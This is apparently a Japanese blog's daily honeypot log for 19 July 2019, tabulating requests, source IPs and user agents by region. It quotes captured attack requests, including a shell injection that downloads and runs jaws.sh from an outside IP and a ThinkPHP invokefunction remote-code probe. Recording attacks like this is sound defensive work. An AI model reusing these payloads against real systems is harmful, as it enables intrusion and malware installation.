コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2019/07/19 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2019/07/19分です。

APでは
ThinkPHPの脆弱性を狙うアクセス
89[.]248[.]174[.]198に関する不正通信
を確認しました。

USでは
phpMyAdmin関連のスキャン行為
89[.]248[.]174[.]198に関する不正通信
を確認しました。

EUでは
89[.]248[.]174[.]198に関する不正通信
を確認しました。

どのRegionでも確認できた89[.]248[.]174[.]198に関する不正通信ですが
以下のような動きを狙ってきているようです。
/shell?cd /tmp;
wget http://89[.]248[.]174[.]198/jaws.sh -O - > smoke.sh;
chmod 777 smoke.sh;
sh smoke.sh

アクセス数推移

AP：総アクセス数：35 (前日比：+5)
US：総アクセス数：28 (前日比：+22)
EU：総アクセス数：13 (前日比：+7)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Region：AP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
4 106.52.41.145 China
4 180.96.12.154 China
2 185.53.88.131 Estonia
3 185.53.88.40 Estonia
3 190.145.8.50 Colombia
1 202.75.251.13 Macao
1 51.255.150.172 Czechia
3 54.254.234.112 Singapore
2 59.36.132.222 China
1 61.219.11.153 Taiwan
4 71.6.167.142 United States
3 77.247.110.219 Netherlands
1 78.238.51.33 France
3 89.248.174.198 Netherlands

UserAgent一覧

件数 UserAgent
12 -
1 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.13.1.0zlib/1.2.3 libidn/1.18 libssh2/1.2.2
2 Go-http-client/1.1
1 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
1 Mozilla/5.0
6 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
6 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
3 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
1 python-requests/2.10.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 CONNECT www.baidu.com:443 HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET http://www.baidu.com/ HTTP/1.1
6 GET /manager/html HTTP/1.1
1 GET /phpMyAdmin HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?busybox HTTP/1.1
3 GET /shell?cd+/tmp;wget+http:/\/89[.]248[.]174[.]198/jaws.sh+-O+-+>smoke.sh;chmod+777+smoke.sh;sh+smoke.sh HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
2 HEAD /robots.txt HTTP/1.0
6 HEAD /robots.txt HTTP/1.1
2 POST /TP/index.php?s=captcha HTTP/1.1
Region:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 190.145.8.50 Colombia
1 54.254.234.112 Singapore
1 60.191.52.254 China
1 61.219.11.153 Taiwan
4 71.6.135.131 United States
1 77.247.110.219 Netherlands
1 89.248.174.198 Netherlands
18 94.102.50.96 Netherlands

UserAgent一覧

件数 UserAgent
5 -
2 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
1 python-requests/2.19.1
18 python-requests/2.9.1

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 GET /dbadmin/scripts/setup.php HTTP/1.1
1 GET /db/scripts/setup.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /instagram/follow/indictment_charge HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /mysqladmin/scripts/setup.php HTTP/1.1
1 GET /mysql/scripts/setup.php HTTP/1.1
1 GET /phpadmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/scripts/db___.init.php HTTP/1.1
1 GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /pHpMyAdMiN/scripts/setup.php HTTP/1.1
1 GET /PHPMYADMIN/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /scripts/setup.php HTTP/1.1
1 GET /shell?cd+/tmp;wget+http:/\/89[.]248[.]174[.]198/jaws.sh+-O+-+>smoke.sh;chmod+777+smoke.sh;sh+smoke.sh HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sqladmin/scripts/setup.php HTTP/1.1
1 GET /sqladm/scripts/setup.php HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 HEAD http://112[.]124[.]42[.]80:63435/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
Region:EU

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 185.222.209.54 United Kingdom
1 54.254.234.112 Singapore
2 58.248.205.218 China
2 59.36.132.222 China
1 61.219.11.153 Taiwan
1 77.247.110.219 Netherlands
4 80.82.77.139 Netherlands
1 89.248.174.198 Netherlands

UserAgent一覧

件数 UserAgent
8 -
1 curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.13.1.0zlib/1.2.3 libidn/1.18 libssh2/1.2.2
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
1 python-requests/2.13.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 CONNECT www.baidu.com:443 HTTP/1.1
1 GET /common.js HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET http://www.baidu.com/ HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;wget+http:/\/89[.]248[.]174[.]198/jaws.sh+-O+-+>smoke.sh;chmod+777+smoke.sh;sh+smoke.sh HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 \x03
1 \x16\x03\x01